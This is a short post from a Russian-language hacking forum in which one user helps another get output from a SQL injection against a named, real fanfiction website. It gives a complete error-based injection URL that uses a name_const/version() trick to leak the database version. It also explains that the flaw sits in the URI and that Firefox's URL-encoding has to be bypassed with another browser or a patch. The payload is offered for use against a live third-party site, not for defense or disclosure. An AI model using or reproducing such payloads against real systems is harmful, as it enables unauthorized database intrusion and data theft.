Показать сообщение отдельно

  #8  
Старый 25.03.2012, 00:01
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами: 9846041

Репутация: 1177


По умолчанию

Цитата:
Сообщение от qaz  
чёт непойму где ты там вывод нашол? у меня как небыло так и нету
Потому что скуля там не в GET-параметре, а в URI:

http://www.fanfics.ru/read.php?id=3&'and(select*from(select(name_const(v ersion(),1)),name_const(version(),1))a)and(1)='1

Посмотри внимательно на запрос, а вывод все-ровно есть, магия!!11

А ты, судя по всему, юзаешь FF, который урлэнкодит запросы. Используй другой браузер, или ставь патч для FF (https://rdot.org/forum/showthread.php?t=1403)
 
Ответить с цитированием